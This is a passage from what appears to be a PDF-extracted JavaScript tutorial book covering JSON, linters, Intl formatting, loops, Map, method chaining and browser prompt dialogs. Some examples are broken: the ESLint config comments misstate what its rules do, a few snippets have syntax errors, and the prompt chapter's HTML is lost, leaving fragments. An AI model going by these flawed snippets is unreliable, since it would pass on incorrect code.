var myNull = null; // null // to be continued...

Arrays and Objects

var myArray = []; // empty array

An array is a set of variables. For example:

var favoriteFruits = ["apple", "orange", "strawberry"]; var carsInParkingLot = ["Toyota", "Ferrari", "Lexus"]; var employees = ["Billy", "Bob", "Joe"]; var primeNumbers = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]; var randomVariables = [2, "any type works", undefined, null, true, 2.51];

myArray = ["zero", "one", "two"]; window.alert(myArray[0]); // 0 is the first element of an array // in this case, the value would be "zero" myArray = ["John Doe", "Billy"]; elementNumber = 1;

window.alert(myArray[elementNumber]); // Billy

An object is a group of values; unlike arrays, we can do something better than them:

myObject = {}; john = {firstname: "John", lastname: "Doe", fullname: "John Doe"}; billy = { firstname: "Billy", lastname: undefined fullname: "Billy" }; window.alert(john.fullname); // John Doe window.alert(billy.firstname); // Billy

Rather than making an array ["John Doe", "Billy"] and calling myArray[0], we can just call john.fullname and billy.fullname.

Read JavaScript Variables online: https://riptutorial.com/javascript/topic/10796/javascript-variables

https://riptutorial.com/ 342 Chapter 58: JSON

Introduction

JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write and easy for machines to parse and generate. It is important to realize that, in JavaScript, JSON is a string and not an object.

A basic overview can be found on the json.org website which also contains links to implementations of the standard in many different programming languages.

Syntax

• JSON.parse(input[, reviver]) • JSON.stringify(value[, replacer[, space]])

Parameters

Parameter Details

JSON.parse Parse a JSON string

input(string) JSON string to be parsed.

reviver(function) Prescribes a transformation for the input JSON string.

JSON.stringify Serialize a serializable value

value(string) Value to be serialized according to the JSON specification.

replacer(function or Selectively includes certain properties of the value object. String[] or Number[])

If a number is provided, then space number of whitespaces will be space(String or Number) inserted of readability. If a string is provided, the string (first 10 characters) will be used as whitespaces.

Remarks

The JSON utility methods were first standardized in ECMAScript 5.1 §15.12.

The format was formally defined in The application/json Media Type for JSON (RFC 4627 July 2006) which was later updated in The JSON Data Interchange Format (RFC 7158 March 2013, ECMA-404 October 2013 and RFC 7159 March 2014).

https://riptutorial.com/ 343 To make these methods available in old browsers such as Internet Explorer 8, use Douglas Crockford's json2.js.

Examples

Parsing a simple JSON string

The JSON.parse() method parses a string as JSON and returns a JavaScript primitive, array or object:

const array = JSON.parse('[1, 2, "c", "d", {"e": false}]'); console.log(array); // logs: [1, 2, "c", "d", {e: false}]

Serializing a value

A JavaScript value can be converted to a JSON string using the JSON.stringify function.

JSON.stringify(value[, replacer[, space]])

1. value The value to convert to a JSON string.

/* Boolean */ JSON.stringify(true) // 'true' /* Number */ JSON.stringify(12) // '12' /* String */ JSON.stringify('foo') // '"foo"' /* Object */ JSON.stringify({}) // '{}' JSON.stringify({foo: 'baz'}) // '{"foo": "baz"}' /* Array */ JSON.stringify([1, true, 'foo']) // '[1, true, "foo"]' /* Date */ JSON.stringify(new Date()) // '"2016-08-06T17:25:23.588Z"' /* Symbol */ JSON.stringify({x:Symbol()}) // '{}'

2. replacer A function that alters the behaviour of the stringification process or an array of String and Number objects that serve as a whitelist for filtering the properties of the value object to be included in the JSON string. If this value is null or is not provided, all properties of the object are included in the resulting JSON string.

// replacer as a function function replacer (key, value) { // Filtering out properties if (typeof value === "string") { return } return value }

var foo = { foundation: "Mozilla", model: "box", week: 45, transport: "car", month: 7 } JSON.stringify(foo, replacer) // -> '{"week": 45, "month": 7}'

// replacer as an array JSON.stringify(foo, ['foundation', 'week', 'month']) // -> '{"foundation": "Mozilla", "week": 45, "month": 7}' https://riptutorial.com/ 344 // only the `foundation`, `week`, and `month` properties are kept

3. space For readability, the number of spaces used for indentation may be specified as the third parameter.

JSON.stringify({x: 1, y: 1}, null, 2) // 2 space characters will be used for indentation /* output: { 'x': 1, 'y': 1 } */

Alternatively, a string value can be provided to use for indentation. For example, passing '\t' will cause the tab character to be used for indentation.

JSON.stringify({x: 1, y: 1}, null, '\t') /* output: { 'x': 1, 'y': 1 } */

Serializing with a replacer function

A replacer function can be used to filter or transform values being serialized.

const userRecords = [ {name: "Joe", points: 14.9, level: 31.5}, {name: "Jane", points: 35.5, level: 74.4}, {name: "Jacob", points: 18.5, level: 41.2}, {name: "Jessie", points: 15.1, level: 28.1}, ];

// Remove names and round numbers to integers to anonymize records before sharing const anonymousReport = JSON.stringify(userRecords, (key, value) => key === 'name' ? undefined : (typeof value === 'number' ? Math.floor(value) : value) );

This produces the following string:

'[{"points":14,"level":31},{"points":35,"level":74},{"points":18,"level":41},{"points":15,"level":28}]'

Parsing with a reviver function

A reviver function can be used to filter or transform the value being parsed.

5.1 https://riptutorial.com/ 345 var jsonString = '[{"name":"John","score":51},{"name":"Jack","score":17}]';

var data = JSON.parse(jsonString, function reviver(key, value) { return key === 'name' ? value.toUpperCase() : value; });

6

const jsonString = '[{"name":"John","score":51},{"name":"Jack","score":17}]';

const data = JSON.parse(jsonString, (key, value) => key === 'name' ? value.toUpperCase() : value );

This produces the following result:

[ { 'name': 'JOHN', 'score': 51 }, { 'name': 'JACK', 'score': 17 } ]

This is particularly useful when data must be sent that needs to be serialized/encoded when being transmitted with JSON, but one wants to access it deserialized/decoded. In the following example, a date was encoded to its ISO 8601 representation. We use the reviver function to parse this in a JavaScript Date.

5.1

var jsonString = '{"date":"2016-01-04T23:00:00.000Z"}';

var data = JSON.parse(jsonString, function (key, value) { return (key === 'date') ? new Date(value) : value; });

6

const jsonString = '{"date":"2016-01-04T23:00:00.000Z"}';

const data = JSON.parse(jsonString, (key, value) => key === 'date' ? new Date(value) : value );

It is important to make sure the reviver function returns a useful value at the end of each iteration. If the reviver function returns undefined, no value or the execution falls off towards the end of the function, the property is deleted from the object. Otherwise, the property is redefined to be the return value.

https://riptutorial.com/ 346 Serializing and restoring class instances

You can use a custom toJSON method and reviver function to transmit instances of your own class in JSON. If an object has a toJSON method, its result will be serialized instead of the object itself.

6

function Car(color, speed) { this.color = color; this.speed = speed; }

Car.prototype.toJSON = function() { return { $type: 'com.example.Car', color: this.color, speed: this.speed }; };

Car.fromJSON = function(data) { return new Car(data.color, data.speed); };

6

class Car { constructor(color, speed) { this.color = color; this.speed = speed; this.id_ = Math.random(); }

toJSON() { return { $type: 'com.example.Car', color: this.color, speed: this.speed }; }

static fromJSON(data) { return new Car(data.color, data.speed); } }

var userJson = JSON.stringify({ name: "John", car: new Car('red', 'fast') });

This produces the a string with the following content:

{"name":"John","car":{"$type":"com.example.Car","color":"red","speed":"fast"}}

var userObject = JSON.parse(userJson, function reviver(key, value) { https://riptutorial.com/ 347 return (value && value.$type === 'com.example.Car') ? Car.fromJSON(value) : value; });

This produces the following object:

{ name: "John", car: Car { color: "red", speed: "fast", id_: 0.19349242527065402 } }

JSON versus JavaScript literals

JSON stands for "JavaScript Object Notation", but it's not JavaScript. Think of it as just a data serialization format that happens to be directly usable as a JavaScript literal. However, it is not advisable to directly run (i.e. through eval()) JSON that is fetched from an external source. Functionally, JSON isn't very different from XML or YAML – some confusion can be avoided if JSON is just imagined as some serialization format that looks very much like JavaScript.

Even though the name implies just objects, and even though the majority of use cases through some kind of API always happen to be objects and arrays, JSON is not for just objects or arrays. The following primitive types are supported:

• String (e.g. "Hello World!") • Number (e.g. 42) • Boolean (e.g. true) • The value null undefined is not supported in the sense that an undefined property will be omitted from JSON upon serialization. Therefore, there is no way to deserialize JSON and end up with a property whose value is undefined.

The string "42" is valid JSON. JSON doesn't always have to have an outer envelope of "{...}" or "[...]".

While nome JSON is also valid JavaScript and some JavaScript is also valid JSON, there are some subtle differences between both languages and neither language is a subset of the other.

Take the following JSON string as an example:

{"color": "blue"}

This can be directly inserted into JavaScript. It will be syntactically valid and will yield the correct value:

const skin = {"color": "blue"};

https://riptutorial.com/ 348 However, we know that "color" is a valid identifier name and the quotes around the property name can be omitted:

const skin = {color: "blue"};

We also know that we can use single quotes instead of double quotes:

const skin = {'color': 'blue'};

But, if we were to take both of these literals and treat them as JSON, neither will be syntactically valid JSON:

{color: "blue"} {'color': 'blue'}

JSON strictly requires all property names to be double quoted and string values to be double quoted as well.

It's common for JSON-newcomers to attempt to use code excerpts with JavaScript literals as JSON, and scratch their heads about the syntax errors they are getting from the JSON parser.

More confusion starts arising when incorrect terminology is applied in code or in conversation.

A common anti-pattern is to name variables that hold non-JSON values as "json":

fetch(url).then(function (response) { const json = JSON.parse(response.data); // Confusion ensues!

// We're done with the notion of "JSON" at this point, // but the concept stuck with the variable name. });

In the above example, response.data is a JSON string that is returned by some API. JSON stops at the HTTP response domain. The variable with the "json" misnomer holds just a JavaScript value (could be an object, an array, or even a simple number!)

A less confusing way to write the above is:

fetch(url).then(function (response) { const value = JSON.parse(response.data);

// We're done with the notion of "JSON" at this point. // You don't talk about JSON after parsing JSON. });

Developers also tend to throw the phrase "JSON object" around a lot. This also leads to confusion. Because as mentioned above, a JSON string doesn't have to hold an object as a value. "JSON string" is a better term. Just like "XML string" or "YAML string". You get a string, you parse it, and you end up with a value.

https://riptutorial.com/ 349 Cyclic object values

Not all objects can be converted to a JSON string. When an object has cyclic self-references, the conversion will fail.

This is typically the case for hierarchical data structures where parent and child both reference each other:

const world = { name: 'World', regions: [] };

world.regions.push({ name: 'North America', parent: 'America' }); console.log(JSON.stringify(world)); // {"name":"World","regions":[{"name":"North America","parent":"America"}]}

world.regions.push({ name: 'Asia', parent: world });

console.log(JSON.stringify(world)); // Uncaught TypeError: Converting circular structure to JSON

As soon as the process detects a cycle, the exception is raised. If there were no cycle detection, the string would be infinitely long.

Read JSON online: https://riptutorial.com/javascript/topic/416/json

https://riptutorial.com/ 350 Chapter 59: Linters - Ensuring code quality

Remarks

No matter what linter you choose every JavaScript Project should use one. They can help find error and make code more consistent. For more comparisions check out comparison JavaScript linting tools

Examples

JSHint

JSHint is an open source tool which detects errors and potential problems in JavaScript code.

To lint your JavaScript you have two options.

1. Go to JSHint.com and paste your code in there on line text editor. 2. Install JSHint in your IDE. • Atom: linter-jshint (must have Linter plugin installed) • Sublime Text: JSHint Gutter and/or Sublime Linter • Vim: jshint.vim or jshint2.vim • Visual Studio: VSCode JSHint

A benefit of adding it to your IDE is that you can create a JSON configuration file named .jshintrc that will be used when linting your program. This is convent if you want to share configurations between projects.

Example .jshintrc file

{ "-W097": false, // Allow "use strict" at document level "browser": true, // defines globals exposed by modern browsers http://jshint.com/docs/options/#browser "curly": true, // requires you to always put curly braces around blocks in loops and conditionals http://jshint.com/docs/options/#curly "devel": true, // defines globals that are usually used for logging poor-man's debugging: console, alert, etc. http://jshint.com/docs/options/#devel // List global variables (false means read only) "globals": { "globalVar": true }, "jquery": true, // This option defines globals exposed by the jQuery JavaScript library. "newcap": false, // List any global functions or const vars "predef": [ "GlobalFunction", "GlobalFunction2" ], "undef": true, // warn about undefined vars "unused": true // warn about unused vars https://riptutorial.com/ 351 }

JSHint also allows configurations for specific lines/blocks of code

switch(operation) { case '+' { result = a + b; break; }

// JSHint W086 Expected a 'break' statement // JSHint flag to allow cases to not need a break /* falls through */ case '*': case 'x': { result = a * b; break; } }

// JSHint disable error for variable not defined, because it is defined in another file /* jshint -W117 */ globalVariable = 'in-another-file.js'; /* jshint +W117 */

More configuration options are documented at http://jshint.com/docs/options/

ESLint / JSCS

ESLint is a code style linter and formatter for your style guide much like JSHint. ESLint merged with JSCS in April of 2016. ESLint does take more effort to set up than JSHint, but there are clear instructions on their website for getting started.

A sample configuration for ESLint is as follows:

{ "rules": { "semi": ["error", "always"], // throw an error when semicolons are detected "quotes": ["error", "double"] // throw an error when double quotes are detected } }

A sample configuration file where ALL rules are set to off, with descriptions for what they do can be found here.

JSLint

JSLint is the trunk from which JSHint branched. JSLint takes a much more opinionated stance on how to write JavaScript code, pushing you towards only using the parts Douglas Crockford deems to be its "good parts", and away from any code that Crockford believes to have a better solution. https://riptutorial.com/ 352 The following StackOverflow thread may help you decide which linter is right for you. While there are differences (here are some brief comparisons between it and JSHint / ESLint), each option is extremely customizable.

For a more information about configuring JSLint check out NPM or github.

Read Linters - Ensuring code quality online: https://riptutorial.com/javascript/topic/4073/linters--- ensuring-code-quality

https://riptutorial.com/ 353 Chapter 60: Localization

Syntax

• new Intl.NumberFormat() • new Intl.NumberFormat('en-US') • new Intl.NumberFormat('en-GB',{timeZone: 'UTC'})

Parameters

Paramater Details

weekday "narrow", "short", "long"

era "narrow", "short", "long"

year "numeric", "2-digit"

month "numeric", "2-digit", "narrow", "short", "long"

day "numeric", "2-digit"

hour "numeric", "2-digit"

minute "numeric", "2-digit"

second "numeric", "2-digit"

timeZoneName "short", "long"

Examples

Number formatting

Number formatting, grouping digits according to the localization.

const usNumberFormat = new Intl.NumberFormat('en-US'); const esNumberFormat = new Intl.NumberFormat('es-ES');

const usNumber = usNumberFormat.format(99999999.99); // "99,999,999.99" const esNumber = esNumberFormat.format(99999999.99); // "99.999.999,99"

Currency formatting

Currency formatting, grouping digits and placing the currency symbol according to the localization.

https://riptutorial.com/ 354 const usCurrencyFormat = new Intl.NumberFormat('en-US', {style: 'currency', currency: 'USD'}) const esCurrencyFormat = new Intl.NumberFormat('es-ES', {style: 'currency', currency: 'EUR'})

const usCurrency = usCurrencyFormat.format(100.10); // "$100.10" const esCurrency = esCurrencyFormat.format(100.10); // "100.10 €"

Date and time formatting

Date time formatting, according to the localization.

const usDateTimeFormatting = new Intl.DateTimeFormat('en-US'); const esDateTimeFormatting = new Intl.DateTimeFormat('es-ES');

const usDate = usDateTimeFormatting.format(new Date('2016-07-21')); // "7/21/2016" const esDate = esDateTimeFormatting.format(new Date('2016-07-21')); // "21/7/2016"

Read Localization online: https://riptutorial.com/javascript/topic/2777/localization

https://riptutorial.com/ 355 Chapter 61: Loops

Syntax

• for (initialization; condition; final_expression) { } • for (key in object) { } • for (variable of iterable) { } • while (condition) { } • do { } while (condition) • for each (variable in object) { } // ECMAScript for XML

Remarks

Loops in JavaScript typically help solve problems which involve repeating specific code x amount of times. Say you need to log a message 5 times. You could do this:

console.log("a message"); console.log("a message"); console.log("a message"); console.log("a message"); console.log("a message");

But that's just time-consuming and kind of ridiculous. Plus, what if you needed to log over 300 messages? You should replace the code with a traditional "for" loop:

for(var i = 0; i < 5; i++){ console.log("a message"); }

Examples

Standard "for" loops

Standard usage

for (var i = 0; i < 100; i++) { console.log(i); }

Expected output:

0 1 ... 99 https://riptutorial.com/ 356 Multiple declarations

Commonly used to cache the length of an array.

var array = ['a', 'b', 'c']; for (var i = 0; i < array.length; i++) { console.log(array[i]); }

Expected output:

'a' 'b' 'c'

Changing the increment

for (var i = 0; i < 100; i += 2 /* Can also be: i = i + 2 */) { console.log(i); }

Expected output:

0 2 4 ... 98

Decremented loop

for (var i = 100; i >=0; i--) { console.log(i); }

Expected output:

100 99 98 ... 0

"while" Loops

Standard While Loop

A standard while loop will execute until the condition given is false: https://riptutorial.com/ 357 var i = 0; while (i < 100) { console.log(i); i++; }

Expected output:

0 1 ... 99

Decremented loop

var i = 100; while (i > 0) { console.log(i); i--; /* equivalent to i=i-1 */ }

Expected output:

100 99 98 ... 1

Do...while Loop

A do...while loop will always execute at least once, regardless of whether the condition is true or false:

var i = 101; do { console.log(i); } while (i < 100);

Expected output:

101

"Break" out of a loop

Breaking out of a while loop

var i = 0; while(true) { https://riptutorial.com/ 358 i++; if(i === 42) { break; } } console.log(i);

Expected output:

42

Breaking out of a for loop

var i; for(i = 0; i < 100; i++) { if(i === 42) { break; } } console.log(i);

Expected output:

42

"continue" a loop

Continuing a "for" Loop

When you put the continue keyword in a for loop, execution jumps to the update expression (i++ in the example):

for (var i = 0; i < 3; i++) { if (i === 1) { continue; } console.log(i); }

Expected output:

0 2

Continuing a While Loop

When you continue in a while loop, execution jumps to the condition (i < 3 in the example):

var i = 0; while (i < 3) { https://riptutorial.com/ 359 if (i === 1) { i = 2; continue; } console.log(i); i++; }

Expected output:

0 2

"do ... while" loop

var availableName; do { availableName = getRandomName(); } while (isNameUsed(name));

A do while loop is guaranteed to run at least once as it's condition is only checked at the end of an iteration. A traditional while loop may run zero or more times as its condition is checked at the beginning of an iteration.

Break specific nested loops

We can name our loops and break the specific one when necessary.

outerloop: for (var i = 0;i<3;i++){ innerloup: for (var j = 0;j <3; j++){ console.log(i); console.log(j); if (j == 1){ break outerloop; } } }

Output:

0 0 0 1

Break and continue labels

Break and continue statements can be followed by an optional label which works like some kind of a goto statement, resumes execution from the label referenced position

https://riptutorial.com/ 360 for(var i = 0; i < 5; i++){ nextLoop2Iteration: for(var j = 0; j < 5; j++){ if(i == j) break nextLoop2Iteration; console.log(i, j); } }

i=0 j=0 skips rest of j values 1 0 i=1 j=1 skips rest of j values 2 0 2 1 i=2 j=2 skips rest of j values 3 0 3 1 3 2 i=3 j=3 skips rest of j values 4 0 4 1 4 2 4 3 i=4 j=4 does not log and loops are done

"for ... of" loop

6

const iterable = [0, 1, 2]; for (let i of iterable) { console.log(i); }

Expected output:

0 1 2

The advantages from the for...of loop are:

• This is the most concise, direct syntax yet for looping through array elements • It avoids all the pitfalls of for...in • Unlike forEach(), it works with break, continue, and return Support of for...of in other collections

Strings

https://riptutorial.com/ 361 for...of will treat a string as a sequence of Unicode characters:

const string = "abc"; for (let chr of string) { console.log(chr); }

Expected output:

a b c

Sets for...of works on Set objects.

Note:

• A Set object will eliminate duplicates. • Please check this reference for Set() browser support.

const names = ['bob', 'alejandro', 'zandra', 'anna', 'bob'];

const uniqueNames = new Set(names);

for (let name of uniqueNames) { console.log(name); }

Expected output:

bob alejandro zandra anna

Maps

You can also use for...of loops to iterate over Maps. This works similarly to arrays and sets, except the iteration variable stores both a key and a value.

const map = new Map() .set('abc', 1) .set('def', 2)

for (const iteration of map) { console.log(iteration) //will log ['abc', 1] and then ['def', 2] }

You can use destructuring assignment to capture the key and the value separately:

https://riptutorial.com/ 362 const map = new Map() .set('abc', 1) .set('def', 2)

for (const [key, value] of map) { console.log(key + ' is mapped to ' + value) } /*Logs: abc is mapped to 1 def is mapped to 2 */

Objects for...of loops do not work directly on plain Objects; but, it is possible to iterate over an object’s properties by switching to a for...in loop, or using Object.keys():

const someObject = { name: 'Mike' };

for (let key of Object.keys(someObject)) { console.log(key + ": " + someObject[key]); }

Expected output:

name: Mike

"for ... in" loop

Warning for...in is intended for iterating over object keys, not array indexes. Using it to loop through an array is generally discouraged. It also includes properties from the prototype, so it may be necessary to check if the key is within the object using hasOwnProperty. If any attributes in the object are defined by the defineProperty/defineProperties method and set the param enumerable: false, those attributes will be inaccessible.

var object = {"a":"foo", "b":"bar", "c":"baz"}; // `a` is inaccessible Object.defineProperty(object , 'a', { enumerable: false, }); for (var key in object) { if (object.hasOwnProperty(key)) { console.log('object.' + key + ', ' + object[key]); } }

Expected output:

object.b, bar object.c, baz https://riptutorial.com/ 363 Read Loops online: https://riptutorial.com/javascript/topic/227/loops

https://riptutorial.com/ 364 Chapter 62: Map

Syntax

• new Map([iterable]) • map.set(key, value) • map.get(key) • map.size • map.clear() • map.delete(key) • map.entries() • map.keys() • map.values() • map.forEach(callback[, thisArg])

Parameters

Parameter Details

iterable Any iterable object (for example an array) containing [key, value] pairs.

key The key of an element.

value The value assigned to the key.

callback Callback function called with three parameters: value, key, and the map.

thisArg Value which will be used as this when executing callback.

Remarks

In Maps NaN is considered to be the same as NaN, even though NaN !== NaN. For example:

const map = new Map([[NaN, true]]); console.log(map.get(NaN)); // true

Examples

Creating a Map

A Map is a basic mapping of keys to values. Maps are different from objects in that their keys can be anything (primitive values as well as objects), not just strings and symbols. Iteration over Maps is also always done in the order the items were inserted into the Map, whereas the order is

https://riptutorial.com/ 365 undefined when iterating over keys in an object.

To create a Map, use the Map constructor:

const map = new Map();

It has an optional parameter, which can be any iterable object (for example an array) which contains arrays of two elements – first is the key, the seconds is the value. For example:

const map = new Map([[new Date(), {foo: "bar"}], [document.body, "body"]]); // ^key ^value ^key ^value

Clearing a Map

To remove all elements from a Map, use the .clear() method:

map.clear();

Example:

const map = new Map([[1, 2], [3, 4]]); console.log(map.size); // 2 map.clear(); console.log(map.size); // 0 console.log(map.get(1)); // undefined

Removing an element from a Map

To remove an element from a map use the .delete() method.

map.delete(key);

Example:

const map = new Map([[1, 2], [3, 4]]); console.log(map.get(3)); // 4 map.delete(3); console.log(map.get(3)); // undefined

This method returns true if the element existed and has been removed, otherwise false:

const map = new Map([[1, 2], [3, 4]]); console.log(map.delete(1)); // true console.log(map.delete(7)); // false

Checking if a key exists in a Map

To check if a key exists in a Map, use the .has() method:

https://riptutorial.com/ 366 map.has(key);

Example:

const map = new Map([[1, 2], [3, 4]]); console.log(map.has(1)); // true console.log(map.has(2)); // false

Iterating Maps

Map has three methods which returns iterators: .keys(), .values() and .entries(). .entries() is the default Map iterator, and contains [key, value] pairs.

const map = new Map([[1, 2], [3, 4]]);

for (const [key, value] of map) { console.log(`key: ${key}, value: ${value}`); // logs: // key: 1, value: 2 // key: 3, value: 4 }

for (const key of map.keys()) { console.log(key); // logs 1 and 3 }

for (const value of map.values()) { console.log(value); // logs 2 and 4 }

Map also has .forEach() method. The first parameter is a callback function, which will be called for each element in the map, and the second parameter is the value which will be used as this when executing the callback function.

The callback function has three arguments: value, key, and the map object.

const map = new Map([[1, 2], [3, 4]]); map.forEach((value, key, theMap) => console.log(`key: ${key}, value: ${value}`)); // logs: // key: 1, value: 2 // key: 3, value: 4

Getting and setting elements

Use .get(key) to get value by key and .set(key, value) to assign a value to a key.

If the element with the specified key doesn't exist in the map, .get() returns undefined.

.set() method returns the map object, so you can chain .set() calls.

const map = new Map(); console.log(map.get(1)); // undefined https://riptutorial.com/ 367 map.set(1, 2).set(3, 4); console.log(map.get(1)); // 2

Getting the number of elements of a Map

To get the numbers of elements of a Map, use the .size property:

const map = new Map([[1, 2], [3, 4]]); console.log(map.size); // 2

Read Map online: https://riptutorial.com/javascript/topic/1648/map

https://riptutorial.com/ 368 Chapter 63: Memory efficiency

Examples

Drawback of creating true private method

One drawback of creating private method in Javascript is memory-inefficient because a copy of the private method will be created every time a new instance is created. See this simple example.

function contact(first, last) { this.firstName = first; this.lastName = last; this.mobile;

// private method var formatPhoneNumber = function(number) { // format phone number based on input };

// public method this.setMobileNumber = function(number) { this.mobile = formatPhoneNumber(number); }; }

When you create few instances, they all have a copy of formatPhoneNumber method

var rob = new contact('Rob', 'Sanderson'); var don = new contact('Donald', 'Trump'); var andy = new contact('Andy', 'Whitehall');

Thus, would be great to avoid using private method only if it's necessary.

Read Memory efficiency online: https://riptutorial.com/javascript/topic/7346/memory-efficiency

https://riptutorial.com/ 369 Chapter 64: Method Chaining

Examples

Method Chaining

Method chaining is a programming strategy that simplifies your code and beautifies it. Method chaining is done by ensuring that each method on an object returns the entire object, instead of returning a single element of that object. For example:

function Door() { this.height = ''; this.width = ''; this.status = 'closed'; }

Door.prototype.open = function() { this.status = 'opened'; return this; }

Door.prototype.close = function() { this.status = 'closed'; return this; } Door.prototype.setParams = function(width,height) { this.width = width; this.height = height; return this; }

Door.prototype.doorStatus = function() { console.log('The',this.width,'x',this.height,'Door is',this.status); return this; }

var smallDoor = new Door(); smallDoor.setParams(20,100).open().doorStatus().close().doorStatus();

Note that each method in Door.prototype returns this, which refers to the entire instance of that Door object.

Chainable object design and chaining

Chaining and Chainable is a design methodology used to design object behaviors so that calls to object functions return references to self, or another object, providing access to additional function calls allowing the calling statement to chain together many calls without the need to reference the variable holding the object/s.

Objects that can be chained are said to be chainable. If you call an object chainable, you should ensure that all returned objects / primitives are of the correct type. It only takes one time for your

https://riptutorial.com/ 370 chainable object to not return the correct reference (easy to forget to add return this) and the person using your API will lose trust and avoid chaining. Chainable objects should be all or nothing (not a chainable object even if parts are). An object should not be called chainable if only some of its functions are.

Object designed to be chainable

function Vec(x = 0, y = 0){ this.x = x; this.y = y; // the new keyword implicitly implies the return type // as this and thus is chainable by default. } Vec.prototype = { add : function(vec){ this.x += vec.x; this.y += vec.y; return this; // return reference to self to allow chaining of function calls }, scale : function(val){ this.x *= val; this.y *= val; return this; // return reference to self to allow chaining of function calls }, log :function(val){ console.log(this.x + ' : ' + this.y); return this; }, clone : function(){ return new Vec(this.x,this.y); } }

Chaining example

var vec = new Vec(); vec.add({x:10,y:10}) .add({x:10,y:10}) .log() // console output "20 : 20" .add({x:10,y:10}) .scale(1/30) .log() // console output "1 : 1" .clone() // returns a new instance of the object .scale(2) // from which you can continue chaining .log()

Don't create ambiguity in the return type

Not all function calls return a useful chainable type, nor do they always return a reference to self. This is where common sense use of naming is important. In the above example the function call .clone() is unambiguous. Other examples are .toString() implies a string is returned.

An example of an ambiguous function name in a chainable object. https://riptutorial.com/ 371 // line object represents a line line.rotate(1) .vec(); // ambiguous you don't need to be looking up docs while writing.

line.rotate(1) .asVec() // unambiguous implies the return type is the line as a vec (vector) .add({x:10,y:10) // toVec is just as good as long as the programmer can use the naming // to infer the return type

Syntax convention

There is no formal usage syntax when chaining. The convention is to either chain the calls on a single line if short or to chain on the new line indented one tab from the referenced object with the dot on the new line. Use of the semicolon is optional but does help by clearly denoting the end of the chain.

vec.scale(2).add({x:2,y:2}).log(); // for short chains

vec.scale(2) // or alternate syntax .add({x:2,y:2}) .log(); // semicolon makes it clear the chain ends here

// and sometimes though not necessary vec.scale(2) .add({x:2,y:2}) .clone() // clone adds a new reference to the chain .log(); // indenting to signify the new reference

// for chains in chains vec.scale(2) .add({x:2,y:2}) .add(vec1.add({x:2,y:2}) // a chain as an argument .add({x:2,y:2}) // is indented .scale(2)) .log();

// or sometimes vec.scale(2) .add({x:2,y:2}) .add(vec1.add({x:2,y:2}) // a chain as an argument .add({x:2,y:2}) // is indented .scale(2) ).log(); // the argument list is closed on the new line

A bad syntax

vec // new line before the first function call .scale() // can make it unclear what the intention is .log();

vec. // the dot on the end of the line scale(2). // is very difficult to see in a mass of code scale(1/2); // and will likely frustrate as can easily be missed // when trying to locate bugs https://riptutorial.com/ 372 Left hand side of assignment

When you assign the results of a chain the last returning call or object reference is assigned.

var vec2 = vec.scale(2) .add(x:1,y:10) .clone(); // the last returned result is assigned // vec2 is a clone of vec after the scale and add

In the above example vec2 is assigned the value returned from the last call in the chain. In this case, that would be a copy of vec after the scale and add.

Summary

The advantage of changing is clearer more maintainable code. Some people prefer it and will make chainable a requirement when selecting an API. There is also a performance benefit as it allows you to avoid having to create variables to hold interim results. With the last word being that chainable objects can be used in a conventional way as well so you don't enforce chaining by making an object chainable.

Read Method Chaining online: https://riptutorial.com/javascript/topic/2054/method-chaining

https://riptutorial.com/ 373 Chapter 65: Modals - Prompts

Syntax

• alert( message ) • confirm( message ) • prompt( message [, optionalValue]) • print()

Remarks

• https://www.w3.org/TR/html5/webappapis.html#user-prompts • https://dev.w3.org/html5/spec-preview/user-prompts.html

Examples

About User Prompts

User Prompts are methods part of the Web Application API used to invoke Browser modals requesting a user action such as confirmation or input. window.alert(message)

Show a modal popup with a message to the user. Requires the user to click [OK] to dismiss.

alert("Hello World");

More information below in "Using alert()". boolean = window.confirm(message)

Show a modal popup with the provided message. Provides [OK] and [Cancel] buttons which will respond with a boolean value true / false respectively.

confirm("Delete this comment?");

result = window.prompt(message, defaultValue)

Show a modal popup with the provided message and an input field with an optional pre-filled value. Returns as result the user provided input value.

https://riptutorial.com/ 374 prompt("Enter your website address", "http://");

More information below in "Usage of prompt()".

window.print()

Opens a modal with document print options.

print();

Persistent Prompt Modal

When using prompt a user can always click Cancel and no value will be returned. To prevent empty values and make it more persistent:

Welcome !

jsFiddle demo

Confirm to Delete element

A way to use confirm() is when some UI action does some destructive changes to the page and is better accompanied by a notification and a user confirmation - like i.e. before deleting a post message:

I like Confirm modals.

Delete post

That's way too cool!

Delete post

// Collect all buttons var deleteBtn = document.querySelectorAll("[data-deletepost]");

https://riptutorial.com/ 375 function deleteParentPost(event) { event.preventDefault(); // Prevent page scroll jump on anchor click

if( confirm("Really Delete this post?") ) { var post = document.getElementById( this.dataset.deletepost ); post.parentNode.removeChild(post); // TODO: remove that post from database } // else, do nothing

}

// Assign click event to buttons [].forEach.call(deleteBtn, function(btn) { btn.addEventListener("click", deleteParentPost, false); }); jsFiddle demo

Usage of alert()

The alert() method of the window object displays an alert box with a specified message and an OK or Cancel button. The text of that button depends on the browser and can't be modified.

Syntax

alert("Hello world!"); // Or, alternatively... window.alert("Hello world!");

Produces

An alert box is often used if you want to make sure information comes through to the user.

Note: The alert box takes the focus away from the current window, and forces the browser to read the message. Do not overuse this method, as it prevents the user from accessing other parts of the page until the box is closed. Also it stops the further code execution, until user clicks OK. (in particular, the timers which were set with setInterval() or setTimeout() don't tick either). The alert box only works in browsers, and its design cannot be modified.

Parameter Description

Required. Specifies the text to display in the alert box, or an object converted message into a string and displayed.

https://riptutorial.com/ 376 Return value alert function doesn't return any value

Usage of prompt()

Prompt will display a dialog to the user requesting their input. You can provide a message that will be placed above the text field. The return value is a string representing the input provided by the user.

var name = prompt("What's your name?"); console.log("Hello, " + name);

You can also pass prompt() a second parameter, which will be displayed as the default text in the prompt's text field.

var name = prompt('What\'s your name?', ' Name...'); console.log('Hello, ' + name);

Parameter Description

message Required. Text to display above the text field of the prompt.

default Optional. Default text to display in the text field when the prompt is displayed.

Read Modals - Prompts online: https://riptutorial.com/javascript/topic/3196/modals---prompts

https://riptutorial.com/ 377 Chapter 66: Modularization Techniques

Examples

Universal Module Definition (UMD)

The UMD (Universal Module Definition) pattern is used when our module needs to be imported by a number of different module loaders (e.g. AMD, CommonJS).

The pattern itself consists of two parts:

1. An IIFE (Immediately-Invoked Function Expression) that checks for the module loader that is being implemented by the user. This will take two arguments; root (a this reference to the global scope) and factory (the function where we declare our module).

2. An anonymous function that creates our module. This is passed as the second argument to the IIFE portion of the pattern. This function is passed any number of arguments to specify the dependencies of the module.

